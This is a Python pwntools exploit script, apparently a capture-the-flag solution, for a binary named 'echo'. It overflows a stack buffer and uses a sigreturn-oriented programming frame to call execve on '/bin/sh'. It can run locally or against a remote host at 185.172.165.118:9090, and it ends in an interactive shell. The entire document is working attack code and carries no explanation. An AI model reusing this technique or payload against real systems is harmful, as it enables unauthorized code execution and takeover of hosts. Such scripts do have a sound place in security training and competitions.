text: #!/usr/bin/env python3
  
  from pwn import *
  
  binary = context.binary = ELF('./echo')
  
  syscall = next(binary.search(asm('syscall')))
  
  frame = SigreturnFrame()
  frame.rax = constants.SYS_execve
  frame.rdi = next(binary.search(b'/bin/sh'))
  frame.rsi = 0
  frame.rdx = 0
  frame.rip = syscall
  
  payload  = b''
  payload += 0x188 * b'A'
  payload += p64(binary.sym.echo)
  payload += p64(syscall)
  payload += bytes(frame)
  
  if args.REMOTE:
  	p = remote('185.172.165.118', 9090)
  else:
  	p = process(binary.path)
  
  p.sendline(payload)
  p.recvline()
  p.sendline((constants.SYS_rt_sigreturn - 1) * b'A')
  p.recvline()
  p.interactive()
  